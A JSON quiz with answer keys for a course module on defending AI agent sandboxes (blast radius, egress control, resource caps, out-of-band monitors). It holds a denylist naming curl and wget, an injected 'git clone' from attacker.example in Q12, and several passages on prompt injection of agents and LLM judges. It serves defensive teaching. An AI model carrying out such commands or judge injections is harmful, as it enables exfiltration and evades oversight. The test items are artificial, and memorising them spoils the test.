{ "module": "B7 — Sandboxes and Execution Controls", "course": "2B — Securing & Attacking Harnesses and LLMs", "version": "1.0.0", "duration_minutes": 35, "total_questions": 15, "bloom_distribution": { "target": "20% recall / 40% application / 40% analysis-design", "actual": { "recall": 3, "application": 6, "analysis": 6 } }, "passing_score_percent": 70, "questions": [ { "id": "Q01", "bloom": "recall", "type": "multiple_choice", "prompt": "What is the central design philosophy of B7 (the blast-radius principle), and how does it invert the naive intuition about sandbox hardening?", "options": [ "Harden the sandbox so thoroughly that escape is impossible; verify with penetration testing.", "Assume the sandbox WILL be escaped, and design so that an escaped sandbox still has no credentials and no network. The escape becomes a detected-and-killed anomaly, not an incident. The value of escape is what you can reach after escaping — design so the answer is 'nothing.'", "Move all execution out of the sandbox and onto a hardened backend; never run agent code in isolation.", "Use the strongest isolation (full VM) for every workload regardless of overhead." ], "answer_index": 1, "rationale": "Every sandbox is software with CVEs; every sandbox will eventually be escaped by an adversary who controls the code inside it. The naive goal of 'prevent escape' is wrong; the correct goal is 'make escape not matter.' Three realizations: no credentials in the sandbox (IronCurtain fake-key swap), no network from the sandbox (default-deny survives escape), no privileged helpers. Then escape is contained by detection, not prevention." }, { "id": "Q02", "bloom": "recall", "type": "multiple_choice", "prompt": "List the four attack vectors against an agent sandbox (when the agent is coerced via injection into running attacker-chosen code).", "options": [ "Prompt injection, jailbreaking, model inversion, training-data extraction.", "(1) Sandbox escape (exploit a bug in the provider), (2) Network egress (exfiltrate/C2/SSRF), (3) Resource exhaustion (OWASP ASI09), (4) Sidecar/subprocess compromise (suborn a privileged helper).", "Credential theft, data poisoning, model extraction, denial of service against the LLM provider.", "Memory corruption, race conditions, type confusion, integer overflow." ], "answer_index": 1, "rationale": "These four vectors describe how contained code attacks the SYSTEM, not just the sandbox. Vector 1 reaches the host via a provider bug. Vector 2 uses the sandbox's network reachability. Vector 3 (ASI09) weaponizes unbounded resource use. Vector 4 pivots through a privileged helper the sandbox spawned. Each has a distinct control: blast-radius principle, default-deny egress, hard resource caps, privilege minimization on helpers." }, { "id": "Q03", "bloom": "recall", "type": "multiple_choice", "prompt": "Why does an allowlist command policy outperform a denylist?", "options": [ "Allowlists are faster to evaluate at runtime.", "A denylist is 'things you have thought of' (block curl, wget, python -c, ...) — the attacker needs to find ONE command you missed, and the space of 'things that fetch a URL or run code' is unbounded. An allowlist is 'things the task needs' — the attacker must make an ALLOWED command do harm (argument injection), a bounded, auditable surface.", "Allowlists are required by the EU AI Act.", "Denylists cannot be compiled deterministically." ], "answer_index": 1, "rationale": "The failure modes are asymmetric. A denylist fails on the unbounded space of commands-you-didn't-think-of (curl, then wget, then python urllib, then perl, then git clone with a hook, then libc directly). An allowlist fails on the bounded question 'can ls/cat/grep/pytest be made to do harm' — auditable and finite. The stronger pattern is per-tool execution scopes: each tool carries its own allowlist, preventing cross-tool command injection." }, { "id": "Q04", "bloom": "application", "type": "multiple_choice", "prompt": "You are deploying an agent that runs code it generated itself (not merely operator-written code it invokes). Which sandbox technology is the MINIMUM acceptable, and why is plain Docker a defect here?", "options": [ "Plain Docker is fine — containers are a security boundary.", "A hardened container runtime (gVisor or Kata) is the floor. Plain Docker's boundary is the Linux kernel itself, a CVE-rich surface; container breakouts happen via kernel CVEs, CAP_SYS_ADMIN, privileged mode, or the mounted Docker socket. For agent-WRITTEN code, gVisor (userspace kernel intercepting syscalls) or Kata (lightweight VM) raises the escape bar substantially at modest overhead.", "OS process isolation is sufficient if the agent runs as a non-root user.", "Full VMs (KVM/Hyper-V) are required for any agent-written code." ], "answer_index": 1, "rationale": "The isolation hierarchy places plain Docker where the boundary is the kernel — acceptable for code the operator wrote and the agent invokes, but a defect for code the agent wrote (a generated script). gVisor/Kata is the floor. For code the agent was COERCED into running (injection), a microVM (Firecracker) or WASM/V8 isolate is the right answer. Full VMs are overkill for most agent sandboxes — microVMs give 95% of the isolation at 5% of the cost." }, { "id": "Q05", "bloom": "application", "type": "multiple_choice", "prompt": "Your team ships a sandboxed agent with allow-all network egress, arguing 'the agent needs web search.' Which response correctly identifies the design defect and the fix?", "options": [ "There is no defect — agents need network access to be useful.", "The defect conflates per-TOOL need with namespace-wide reachability. 'The agent needs web search' argues for the web_search tool reaching search.example-corp.net — NOT for the whole internet. Fix: network-layer default-deny; per-tool/per-task allowlist (web_search → one host, install_deps → validating registry only); block 169.254.169.254 always. Default-deny contains exfiltration, C2, lateral movement, and SSRF-metadata in one control.", "Add a denylist of known-bad domains and keep allow-all otherwise.", "Move the web_search tool to a separate, unsandboxed process." ], "answer_index": 1, "rationale": "This is the most under-applied control. Operators fixate on the filesystem mis-scope that coughs up the secret and ignore the network that carries it out. Default-deny egress is the EASIER bug to fix and contains the larger class of outcomes. The metadata endpoint (169.254.169.254) deserves special callout — it hands out the host's cloud role, a far worse outcome than a local secret read. Block it at the network layer, always." }, { "id": "Q06", "bloom": "application", "type": "multiple_choice", "prompt": "An injected instruction coerces the agent into running a generated script that does `while true: pass` and forks unboundedly. The sandbox dutifully isolates it — and the host's monitoring is OOM-killed. What went wrong, and what is the control?", "options": [ "The sandbox failed to isolate; replace Docker with gVisor.", "The sandbox had no RESOURCE CAPS — the contained code weaponized unbounded resource use (OWASP ASI09) to fail-OPEN by OOM-killing the monitor. Control: hard resource caps enforced by cgroups — cpuSeconds (wall-clock kill), memoryMb (OOM-kill the contained process not the monitor), processCount (fork limit), diskWriteMb. Per-task thresholds. A sandbox without caps can be weaponized against its own monitoring.", "The monitor was running inside the sandbox; move it out-of-band.", "The agent should not be allowed to run Python." ], "answer_index": 1, "rationale": "ASI09 is the sandbox's problem because the sandbox is where the code executes. Without caps, contained code can run forever (bill the provider), fill disk, exhaust memory (OOM-killing the monitor = fail-open), or fork-bomb. The control is cgroup-enforced caps on every resource class, per-task. A sandbox that isolates attacks but can itself be killed by them has failed — the monitor must survive the contained code's worst behavior." }, { "id": "Q07", "bloom": "application", "type": "multiple_choice", "prompt": "Your team proposes an LLM-as-judge command gate: every tool invocation goes to a runtime LLM that returns allow/deny. Why is this the wrong design for the allowlist, and what is the correct one?", "options": [ "It is the correct design — LLMs understand semantics better than regex.", "Wrong because: (a) the allowlist is a FINITE ENUMERABLE SET — no semantic question needs an LLM at runtime; (b) LLM judgment is PROBABILISTIC — a prompt injection in the arguments can manipulate the judge; (c) security-critical runtime decisions must be DETERMINISTIC. Correct (IronCurtain model): compile policy offline to deterministic JSON rules, verify at build time, enforce at runtime with pure if/then matching — ZERO LLM at runtime.", "Wrong because LLMs are too slow; use a faster denylist instead.", "Wrong because LLMs cannot read command-line arguments." ], "answer_index": 1, "rationale": "The IronCurtain (DD-20) model: LLMs at BUILD time (compiling plain-English policy to JSON, with verify-and-repair), ZERO LLM at RUNTIME (deterministic if/then). The blast radius of probabilistic enforcement is the set of inputs where the LLM happens to be wrong — unacceptable for security-critical decisions. Reserve LLM-as-judge (if used at all) for ARGUMENT validation, and even there prefer structured validators (regex/schema/path-prefix)." }, { "id": "Q08", "bloom": "application", "type": "multiple_choice", "prompt": "You discover your sandbox can reach 169.254.169.254 (the cloud metadata service). What is the risk, and what is the correct control?", "options": [ "No risk — metadata is read-only and instance-scoped.", "The metadata service hands out INSTANCE CREDENTIALS (the host's cloud IAM role, temporary tokens, sometimes user-data with embedded secrets). A sandboxed agent that reaches it can STEAL THE HOST'S CLOUD ROLE — far worse than a local secret read, as cloud roles often have broad account-wide permissions. Control: block 169.254.169.254 at the NETWORK LAYER always; default-deny egress with per-task allowlisting that does not list it.", "Add the metadata service to the denylist of bad IPs.", "Restrict metadata access to root only." ], "answer_index": 1, "rationale": "The metadata service is the special-case must-block. Default-deny blocks it for free; an allowlist that does not explicitly list it blocks it for free; an LLM-judge-only model is one prompt injection away from failing to block it. The outcome (stolen cloud role) is worse than a local secret read because cloud roles are often broad. Block it at the network layer, always — never rely on the LLM judge for this." }, { "id": "Q09", "bloom": "application", "type": "multiple_choice", "prompt": "A sidecar monitor that runs inside the sandbox reports no anomalies during an attack. What was the architectural mistake, and what is the correct monitor placement?", "options": [ "The monitor needs more CPU; increase its resource allocation.", "The monitor ran INSIDE the sandbox's trust boundary — the contained code could (and did) disable or tamper with it before misbehaving (disable the alarm before setting the fire). Correct placement is OUT-OF-BAND: kernel-side (eBPF/Falco), host-side process, or a separate namespace the contained code has no path to reach. The same 'governance beside/beneath the agent' principle from NemoClaw applies — if the compromised code can reach the observation layer, it can disable it.", "The monitor should run as root inside the sandbox.", "Replace the sidecar with a polling-based external scanner." ], "answer_index": 1, "rationale": "The out-of-band position is load-bearing. A monitor the contained code can kill is a monitor that reports 'all clear' during the attack. eBPF (bcc, bpftrace, Falco) gives kernel-level observability into the sandboxed process tree with negligible overhead precisely because it is host-side. The monitor must survive the contained code's worst behavior, including an escape attempt." }, { "id": "Q10", "bloom": "analysis", "type": "multiple_choice", "prompt": "Contrast CrabTrap (DD-19) and IronCurtain (DD-20) on the egress-governance question. Which layer answers which question, and why do you need both?", "options": [ "They are interchangeable — pick one based on language preference (Go vs TypeScript).", "CrabTrap answers the SEMANTIC egress question probabilistically ('is this request something this agent should be making?') via an LLM-as-judge. IronCurtain (and B7's network-layer default-deny) answers the EXISTENCE question deterministically ('should this sandbox reach the network at all?'). You need both because the network-layer control is what HOLDS when the LLM judge is bypassed, confused, or absent. CrabTrap sits ON TOP of the network gate, not in place of it.", "CrabTrap is for inbound traffic; IronCurtain is for outbound.", "IronCurtain replaces CrabTrap in modern deployments." ], "answer_index": 1, "rationale": "This is the probabilistic-vs-deterministic debate made concrete on egress. The network-layer default-deny (iptables/nftables/egress proxy/microVM NIC) is deterministic and cannot be prompt-injected. CrabTrap's LLM judge answers a question the network layer cannot ('is this ALLOWED host being called for a LEGITIMATE purpose?') but does so probabilistically — a prompt injection in the request body can manipulate it. A sandbox relying on CrabTrap alone is one prompt-injection of the judge away from exfiltration." }, { "id": "Q11", "bloom": "analysis", "type": "multiple_choice", "prompt": "Your architecture REQUIRES credentials inside the sandbox (the inside-sandbox model from Course 1 Module 5 — the loop and sandbox are one process). What blast-radius principle realization have you failed, and how do you compensate?", "options": [ "You have failed nothing — inside-sandbox is the recommended architecture.", "You have failed realization 1 (no credentials in the sandbox). You cannot fully compensate — you have accepted a WORSE blast radius (an escape or filesystem mis-scope reads real credentials). Document the decision explicitly and REINFORCE the other two realizations: (2) network default-deny must be airtight (no egress = no exfiltration path even with creds), and (3) every helper is minimum-privilege. Migrate to outside-sandbox or IronCurtain credential-quarantine when feasible.", "Move the credentials to a hidden directory so the agent cannot find them.", "Encrypt the credentials at rest inside the sandbox." ], "answer_index": 1, "rationale": "Inside-sandbox (e.g. Claude Code) is a legitimate architecture but it accepts a worse blast radius — credentials live where the agent (and any code it is coerced into running) can read them. You cannot fully compensate; you reinforce the other two realizations (no network = no exfiltration path; no privileged helpers = no escalation path) and document the tradeoff. The destination architecture is outside-sandbox (OpenAI Agents SDK model) or IronCurtain's fake-key-swap credential quarantine." }, { "id": "Q12", "bloom": "analysis", "type": "multiple_choice", "prompt": "An attacker coerces the agent (via indirect injection in a fetched doc) into running `git clone https://attacker.example/repo` from inside the `pytest` tool. The repo's post-checkout hook runs an implant. Which two B7 controls failed, and what would have stopped it?", "options": [ "Only the sandbox escape vector; a stronger container would suffice.", "Two controls: (1) PER-TOOL EXECUTION SCOPE — the pytest tool's allowlist should not include `git`, so the command is denied at the scope check (cross-tool command injection prevented). (2) If git were somehow allowed, DEFAULT-DENY EGRESS — the pytest task should not reach attacker.example, so the clone fails at the network layer. Defense-in-depth: the command gate stops the obvious case; the egress gate stops the case where the command gate is permissive.", "Only resource caps; the clone should have been killed by a disk quota.", "Only the sidecar monitor; it should have detected the git invocation." ], "answer_index": 1, "rationale": "This is a classic cross-tool command-injection plus exfiltration/C2 setup. Per-tool scopes (B7.2) prevent git from being invoked via the pytest tool in the first place — the allowlist is pytest-only. Default-deny egress (B7.2) prevents the clone from reaching attacker.example even if the command gate missed it. The monitor (B7.3) DETECTS the attempt but does not prevent it — the controls in B7.2 prevent. This is why per-tool scopes and default-deny egress are complementary, not redundant." }, { "id": "Q13", "bloom": "analysis", "type": "multiple_choice", "prompt": "Design the sidecar monitor's alert for the sidecar-compromise vector (V4). What signal distinguishes 'a helper doing its job' from 'a helper being suborned by contained code'?", "options": [ "There is no reliable signal — V4 is undetectable.", "The distinguishing signals: (a) the helper issuing syscalls OUTSIDE its task profile (a package installer issuing socket()+connect() to a non-registry host); (b) the helper running LONGER than its baseline (the postinst script taking minutes); (c) the helper spawning processes it should not (a format converter forking a shell); (d) the helper writing to paths outside its scope. Baseline each helper's syscall/network/process profile per task; alert on deviation. The contained code reaching a helper is detected via the helper's anomalous behavior.", "Monitor only the contained code, not the helper.", "Block all helpers entirely — they are too risky." ], "answer_index": 1, "rationale": "V4 is detectable because a suborned helper behaves differently than a correctly-functioning one. Baseline profiling per helper per task (syscalls, network destinations, runtime, child processes, write paths) gives the monitor a deterministic anomaly surface. eBPF/Falco can observe the helper's syscalls from the host side with negligible overhead. The principle: every helper has a profile; deviation is the alert. This is also why helpers must be minimum-privilege — even a suborned min-privilege helper cannot do much harm." }, { "id": "Q14", "bloom": "analysis", "type": "multiple_choice", "prompt": "A vendor claims their agent sandbox is 'secure because it uses Firecracker microVMs.' Evaluate this claim against the blast-radius principle.", "options": [ "Correct — Firecracker's audited hypervisor makes escape impossible, so the blast radius is zero.", "Partially correct but incomplete. Firecracker reduces the ESCAPE PROBABILITY (small, audited hypervisor vs CVE-rich kernel) but does not eliminate it — microVM escapes have happened. The blast-radius principle requires assuming escape SUCCEEDS and designing so the escaped code finds no credentials (IronCurtain quarantine) and no network (default-deny). Firecracker is a strong point on the hierarchy but it is a PROBABILITY REDUCER, not a guarantee. The claim omits the B7.2/B7.3 controls that actually contain the outcome.", "Wrong — Firecracker is weaker than Docker.", "Correct only if the microVM runs on dedicated hardware." ], "answer_index": 1, "rationale": "No sandbox technology eliminates escape — they reduce its probability. Firecracker's value is a small, audited escape surface, but a microVM escape is still a software bug class. The blast-radius principle: hardening the sandbox (any sandbox) is necessary but insufficient; the environment must be designed so an escaped sandbox has nothing. A vendor claiming 'secure because microVM' has confused a probability reducer for a guarantee and omitted the credential-quarantine, default-deny, and monitoring layers." }, { "id": "Q15", "bloom": "analysis", "type": "multiple_choice", "prompt": "You are designing a sandbox for a multi-tenant agent platform where customers upload arbitrary Python tasks. Place it on the isolation hierarchy and specify the B7.2/B7.3 controls. Justify why plain Docker is insufficient.", "options": [ "Plain Docker per tenant, with a shared filesystem and allow-all egress for convenience.", "Firecracker MICROVM per tenant (genuinely untrusted, mutually-distrusting code; the strongest practical isolation per dollar). B7.2 controls: per-task ALLOWLIST command gate (compiled deterministically, zero LLM at runtime); hard resource CAPS (cpuSeconds/memoryMb/processCount/diskWriteMb) per task; DEFAULT-DENY egress with per-task allowlist (block 169.254.169.254 always). B7.3 controls: OUT-OF-BAND sidecar monitor (eBPF, per-tenant baselines); credential quarantine (tenant API keys never enter the microVM — brokered via proxy). Plain Docker is insufficient: the kernel is the boundary, mutually-distrusting tenants + kernel CVEs = eventual cross-tenant escape.", "Full VM per tenant — nothing less is acceptable.", "WASM isolates in a single host process — language-level isolation is enough." ], "answer_index": 1, "rationale": "Multi-tenant + arbitrary untrusted code + mutual distrust = the case where microVMs (Firecracker) are clearly correct: small audited hypervisor, ~125ms cold start, per-tenant isolation at the hardware-virtualization boundary. Plain Docker is a defect here — a kernel CVE crosses between tenants, and the blast radius is 'every tenant's data.' WASM isolates are a reasonable alternative but their escape surface (the runtime + your exports) is harder to reason about across arbitrary Python (you'd compile to WASM). The full B7 stack — deterministic allowlist, resource caps, default-deny egress, out-of-band monitor, credential quarantine — must layer on top regardless of the sandbox technology." } ] }